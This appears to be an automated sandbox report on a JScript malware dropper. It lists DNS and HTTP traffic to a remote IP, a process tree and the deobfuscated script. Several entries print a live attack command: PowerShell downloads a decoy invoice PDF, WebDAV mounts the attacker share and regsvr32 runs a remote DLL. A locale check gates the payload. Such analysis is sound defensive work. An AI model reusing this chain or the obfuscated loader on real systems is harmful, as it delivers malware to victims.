Jan 11, 2025 02:58:00.101613998 CET	1.1.1.1	192.168.2.7	0x7ac5	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:58:16.499840021 CET	1.1.1.1	192.168.2.7	0xdb30	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:58:17.297354937 CET	1.1.1.1	192.168.2.7	0xf581	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:58:17.297354937 CET	1.1.1.1	192.168.2.7	0xf581	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49726	193.143.1.205	80	7696	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:58:05.814212084 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:58:06.640928984 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:58:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:58:06.640943050 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:58:06.640949965 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 02:58:06.641015053 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 02:58:06.641026974 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 02:58:06.641036987 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 02:58:06.641098022 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 02:58:06.641108990 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 02:58:06.641114950 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 02:58:06.641124964 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 11, 2025 02:58:06.645873070 CET	548	IN	Data Raw: f5 5b 85 65 79 f5 ec ff ae 9f b1 5c 09 95 35 d1 89 39 2d d7 ac 86 2e 6c ca 0d 5f 50 f3 6a fa 9f a0 90 1f 06 28 64 77 79 8f f9 15 be e1 c8 6a ae 6e fb 1e 6a ce eb 94 28 59 28 a1 92 41 53 c2 d6 af a3 1f 81 d7 53 99 7e c2 f7 da 29 77 6d 7d 4f 93 cf Data Ascii: [ey\59-.l_Pj(dwyjnj(Y(ASS~)wm}OP}'2`sVi%QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49742	193.143.1.205	8888	7988	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:58:08.272547960 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:58:09.048187971 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:58:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:58:00
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2556095152538830312.js"
Imagebase:	0x7ff7edcf0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:58:01
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll
Imagebase:	0x7ff7c1bc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:58:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:58:01
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:58:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:58:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c1bc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:58:06
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff761d60000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:58:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:58:07
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:58:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1648,i,2223938376289091916,8819030129141357301,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function omsmtq() {	omsmtq() ➔ undefined
1	knroz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wvnpa = this[eppakhs + dupnvk + zvjtf + ncuaf + wlask + ewityp + wpkqwcf + ogcuhf] ( this[etfobramu + cceiauyw + umsnqkzuz + zvjtf + bypuhwgk + eppakhs + ogcuhf][uqoyn + zvjtf + wlask + dupnvk + ogcuhf + wlask + qyaqncyd + pxledxtzj + ngntiy + wlask + umsnqkzuz + ogcuhf] ( etfobramu + cceiauyw + umsnqkzuz + zvjtf + bypuhwgk + eppakhs + ogcuhf + tbdlqiny + cceiauyw + ghzcqvhdp + wlask + dylml + dylml ) [aolmb + wlask + xndnl + aolmb + wlask + dupnvk + ictcorxd] ( ntekhhigc + brhmylz + vxmtt + ibjfe + gpdrvjf + uqoyn + nbuff + aolmb + aolmb + vxmtt + vddmpdt + esiykd + gpdrvjf + nbuff + cceiauyw + vxmtt + aolmb + uenky + uqoyn + ievtkvgg + wpkqwcf + ogcuhf + zvjtf + ievtkvgg + dylml + avoialyts + lbjzgv + dupnvk + wpkqwcf + wlask + dylml + uenky + ewityp + wpkqwcf + ogcuhf + wlask + zvjtf + wpkqwcf + dupnvk + ogcuhf + bypuhwgk + ievtkvgg + wpkqwcf + dupnvk + dylml + uenky + ejqyfsu + ievtkvgg + umsnqkzuz + dupnvk + dylml + wlask ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( yuplzpe = 0 ; yuplzpe < knroz[dylml + wlask + wpkqwcf + xndnl + ogcuhf + ghzcqvhdp] ; ++ yuplzpe )
4	{
5	if ( wvnpa == knroz[yuplzpe] )
6	{
7	wvnpa = true;
8	break ;
9	}
10	}
11	if ( wvnpa !== true )
12	this[etfobramu + cceiauyw + umsnqkzuz + zvjtf + bypuhwgk + eppakhs + ogcuhf][pawocynxi + kbxpirw + bypuhwgk + ogcuhf] ( );
13	this[etfobramu + cceiauyw + umsnqkzuz + zvjtf + bypuhwgk + eppakhs + ogcuhf][uqoyn + zvjtf + wlask + dupnvk + ogcuhf + wlask + qyaqncyd + pxledxtzj + ngntiy + wlask + umsnqkzuz + ogcuhf] ( etfobramu + cceiauyw + umsnqkzuz + zvjtf + bypuhwgk + eppakhs + ogcuhf + tbdlqiny + cceiauyw + ghzcqvhdp + wlask + dylml + dylml ) [zvjtf + kbxpirw + wpkqwcf] ( umsnqkzuz + favbwzqz + ictcorxd + avoialyts + uvrtzp + umsnqkzuz + avoialyts + eppakhs + ievtkvgg + dlsig + wlask + zvjtf + ncuaf + ghzcqvhdp + wlask + dylml + dylml + tbdlqiny + wlask + udvph + wlask + avoialyts + owihxwg + uqoyn + ievtkvgg + favbwzqz + favbwzqz + dupnvk + wpkqwcf + ictcorxd + avoialyts + gihgwivac + ewityp + wpkqwcf + eunjlhqni + ievtkvgg + qzgsdyqfb + wlask + owihxwg + etfobramu + wlask + pxledxtzj + aolmb + wlask + lszen + kbxpirw + wlask + ncuaf + ogcuhf + avoialyts + owihxwg + qyaqncyd + kbxpirw + ogcuhf + itesdyozv + bypuhwgk + dylml + wlask + avoialyts + utkltfqbi + ogcuhf + wlask + favbwzqz + eppakhs + utkltfqbi + uenky + bypuhwgk + wpkqwcf + eunjlhqni + ievtkvgg + bypuhwgk + umsnqkzuz + wlask + tbdlqiny + eppakhs + ictcorxd + weorrijb + avoialyts + ghzcqvhdp + ogcuhf + ogcuhf + eppakhs + wqtiggw + uvrtzp + uvrtzp + vvksbns + wfqyel + utgrqk + tbdlqiny + vvksbns + buuan + utgrqk + tbdlqiny + vvksbns + tbdlqiny + iplwmk + prlicq + jfiwxjtig + uvrtzp + bypuhwgk + wpkqwcf + eunjlhqni + ievtkvgg + bypuhwgk + umsnqkzuz + wlask + tbdlqiny + eppakhs + ghzcqvhdp + eppakhs + gihgwivac + axchced + axchced + ncuaf + ogcuhf + dupnvk + zvjtf + ogcuhf + avoialyts + utkltfqbi + ogcuhf + wlask + favbwzqz + eppakhs + utkltfqbi + uenky + bypuhwgk + wpkqwcf + eunjlhqni + ievtkvgg + bypuhwgk + umsnqkzuz + wlask + tbdlqiny + eppakhs + ictcorxd + weorrijb + axchced + axchced + umsnqkzuz + favbwzqz + ictcorxd + avoialyts + uvrtzp + umsnqkzuz + avoialyts + wpkqwcf + wlask + ogcuhf + avoialyts + kbxpirw + ncuaf + wlask + avoialyts + uenky + uenky + vvksbns + wfqyel + utgrqk + tbdlqiny + vvksbns + buuan + utgrqk + tbdlqiny + vvksbns + tbdlqiny + iplwmk + prlicq + jfiwxjtig + caomjt + llzed + llzed + llzed + llzed + uenky + ictcorxd + dupnvk + eunjlhqni + dlsig + dlsig + dlsig + zvjtf + ievtkvgg + ievtkvgg + ogcuhf + uenky + axchced + axchced + umsnqkzuz + favbwzqz + ictcorxd + avoialyts + uvrtzp + umsnqkzuz + avoialyts + zvjtf + wlask + xndnl + ncuaf + eunjlhqni + zvjtf + utgrqk + iplwmk + avoialyts + uvrtzp + ncuaf + avoialyts + uenky + uenky + vvksbns + wfqyel + utgrqk + tbdlqiny + vvksbns + buuan + utgrqk + tbdlqiny + vvksbns + tbdlqiny + iplwmk + prlicq + jfiwxjtig + caomjt + llzed + llzed + llzed + llzed + uenky + ictcorxd + dupnvk + eunjlhqni + dlsig + dlsig + dlsig + zvjtf + ievtkvgg + ievtkvgg + ogcuhf + uenky + vvksbns + llzed + buuan + wfqyel + llzed + fmxlwp + buuan + prlicq + iplwmk + utgrqk + utgrqk + jfiwxjtig + jpfyzh + tbdlqiny + ictcorxd + dylml + dylml, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1849874023356.dll",0,false) ➔ 0
14	}
15	dupnvk = "K";
16	dupnvk = "L";
17	dupnvk = "W";
18	dupnvk = "e";
19	dupnvk = "a";
20	dupnvk = "W";
21	dupnvk = "L";
22	dupnvk = "B";
23	dupnvk = "C";
24	dupnvk = "b";
25	dupnvk = "V";
26	dupnvk = "M";
27	dupnvk = "w";
28	dupnvk = "Q";
29	dupnvk = "Y";
30	dupnvk = "e";
31	dupnvk = "f";
32	dupnvk = "O";
33	dupnvk = "Z";
34	dupnvk = "t";
35	dupnvk = "n";
36	dupnvk = "u";
37	dupnvk = "g";
38	dupnvk = "b";
39	dupnvk = "C";
40	dupnvk = "d";
41	dupnvk = "L";
42	dupnvk = "a";
43	pxledxtzj = "o";
44	pxledxtzj = "M";
45	pxledxtzj = "P";
46	pxledxtzj = "J";
47	pxledxtzj = "c";
48	pxledxtzj = "w";
49	pxledxtzj = "I";
50	pxledxtzj = "o";
51	pxledxtzj = "X";
52	pxledxtzj = "h";
53	pxledxtzj = "C";
54	pxledxtzj = "R";
55	pxledxtzj = "o";
56	pxledxtzj = "K";
57	pxledxtzj = "d";
58	pxledxtzj = "E";
59	pxledxtzj = "s";
60	pxledxtzj = "v";
61	pxledxtzj = "j";
62	pxledxtzj = "j";
63	pxledxtzj = "m";
64	pxledxtzj = "d";
65	pxledxtzj = "p";
66	pxledxtzj = "f";
67	pxledxtzj = "D";
68	pxledxtzj = "y";
69	pxledxtzj = "w";
70	pxledxtzj = "a";
71	pxledxtzj = "b";
72	kbxpirw = "l";
73	kbxpirw = "G";
74	kbxpirw = "p";
75	kbxpirw = "u";
76	kbxpirw = "O";
77	kbxpirw = "i";
78	kbxpirw = "F";
79	kbxpirw = "b";
80	kbxpirw = "D";
81	kbxpirw = "K";
82	kbxpirw = "H";
83	kbxpirw = "R";
84	kbxpirw = "Z";
85	kbxpirw = "a";
86	kbxpirw = "F";
87	kbxpirw = "A";
88	kbxpirw = "Y";
89	kbxpirw = "K";
90	kbxpirw = "n";
91	kbxpirw = "h";
92	kbxpirw = "U";
93	kbxpirw = "W";
94	kbxpirw = "v";
95	kbxpirw = "P";
96	kbxpirw = "z";
97	kbxpirw = "B";
98	kbxpirw = "P";
99	kbxpirw = "b";
100	kbxpirw = "r";
101	kbxpirw = "b";
102	kbxpirw = "q";
103	kbxpirw = "p";
104	kbxpirw = "W";
105	kbxpirw = "H";
106	kbxpirw = "n";
107	kbxpirw = "s";
108	kbxpirw = "U";
109	kbxpirw = "M";
110	kbxpirw = "r";
111	kbxpirw = "u";
112	ghzcqvhdp = "S";
113	ghzcqvhdp = "g";
114	ghzcqvhdp = "O";
115	ghzcqvhdp = "Z";
116	ghzcqvhdp = "l";
117	ghzcqvhdp = "Q";
118	ghzcqvhdp = "p";
119	ghzcqvhdp = "C";
120	ghzcqvhdp = "K";
121	ghzcqvhdp = "M";
122	ghzcqvhdp = "I";
123	ghzcqvhdp = "b";
124	ghzcqvhdp = "J";
125	ghzcqvhdp = "L";
126	ghzcqvhdp = "S";
127	ghzcqvhdp = "R";
128	ghzcqvhdp = "n";
129	ghzcqvhdp = "Q";
130	ghzcqvhdp = "J";
131	ghzcqvhdp = "N";
132	ghzcqvhdp = "V";
133	ghzcqvhdp = "M";
134	ghzcqvhdp = "x";
135	ghzcqvhdp = "g";
136	ghzcqvhdp = "P";
137	ghzcqvhdp = "I";
138	ghzcqvhdp = "G";
139	ghzcqvhdp = "h";
140	tbdlqiny = "b";
141	tbdlqiny = "R";
142	tbdlqiny = "v";
143	tbdlqiny = "A";
144	tbdlqiny = "k";
145	tbdlqiny = "i";
146	tbdlqiny = "s";
147	tbdlqiny = "O";
148	tbdlqiny = "C";
149	tbdlqiny = "q";
150	tbdlqiny = "T";
151	tbdlqiny = "x";
152	tbdlqiny = "u";
153	tbdlqiny = "u";
154	tbdlqiny = "Z";
155	tbdlqiny = "p";
156	tbdlqiny = ".";
157	xndnl = "h";
158	xndnl = "v";
159	xndnl = "g";
160	xndnl = "c";
161	xndnl = "U";
162	xndnl = "x";
163	xndnl = "d";
164	xndnl = "T";
165	xndnl = "w";
166	xndnl = "K";
167	xndnl = "E";
168	xndnl = "z";
169	xndnl = "v";
170	xndnl = "h";
171	xndnl = "N";
172	xndnl = "s";
173	xndnl = "U";
174	xndnl = "j";
175	xndnl = "Q";
176	xndnl = "P";
177	xndnl = "Y";
178	xndnl = "v";
179	xndnl = "y";
180	xndnl = "g";
181	buuan = "L";
182	buuan = "W";
183	buuan = "D";
184	buuan = "I";
185	buuan = "W";
186	buuan = "S";
187	buuan = "P";
188	buuan = "h";
189	buuan = "Q";
190	buuan = "l";
191	buuan = "r";
192	buuan = "Z";
193	buuan = "t";
194	buuan = "c";
195	buuan = "i";
196	buuan = "r";
197	buuan = "H";
198	buuan = "4";
199	vddmpdt = "h";
200	vddmpdt = "e";
201	vddmpdt = "Q";
202	vddmpdt = "i";
203	vddmpdt = "V";
204	vddmpdt = "n";
205	vddmpdt = "C";
206	vddmpdt = "l";
207	vddmpdt = "v";
208	vddmpdt = "L";
209	vddmpdt = "W";
210	vddmpdt = "H";
211	vddmpdt = "v";
212	vddmpdt = "e";
213	vddmpdt = "Q";
214	vddmpdt = "q";
215	vddmpdt = "u";
216	vddmpdt = "X";
217	vddmpdt = "H";
218	vddmpdt = "i";
219	vddmpdt = "K";
220	vddmpdt = "b";
221	vddmpdt = "s";
222	vddmpdt = "C";
223	vddmpdt = "h";
224	vddmpdt = "W";
225	vddmpdt = "i";
226	vddmpdt = "G";
227	vddmpdt = "M";
228	vddmpdt = "G";
229	vddmpdt = "I";
230	vddmpdt = "i";
231	vddmpdt = "X";
232	vddmpdt = "p";
233	vddmpdt = "L";
234	vddmpdt = "M";
235	vddmpdt = "y";
236	vddmpdt = "M";
237	vddmpdt = "e";
238	vddmpdt = "q";
239	vddmpdt = "N";
240	vddmpdt = "c";
241	vddmpdt = "p";
242	vddmpdt = "d";
243	vddmpdt = "N";
244	esiykd = "N";
245	esiykd = "J";
246	esiykd = "p";
247	esiykd = "B";
248	esiykd = "x";
249	esiykd = "S";
250	esiykd = "z";
251	esiykd = "N";
252	esiykd = "D";
253	esiykd = "f";
254	esiykd = "k";
255	esiykd = "X";
256	esiykd = "U";
257	esiykd = "O";
258	esiykd = "z";
259	esiykd = "P";
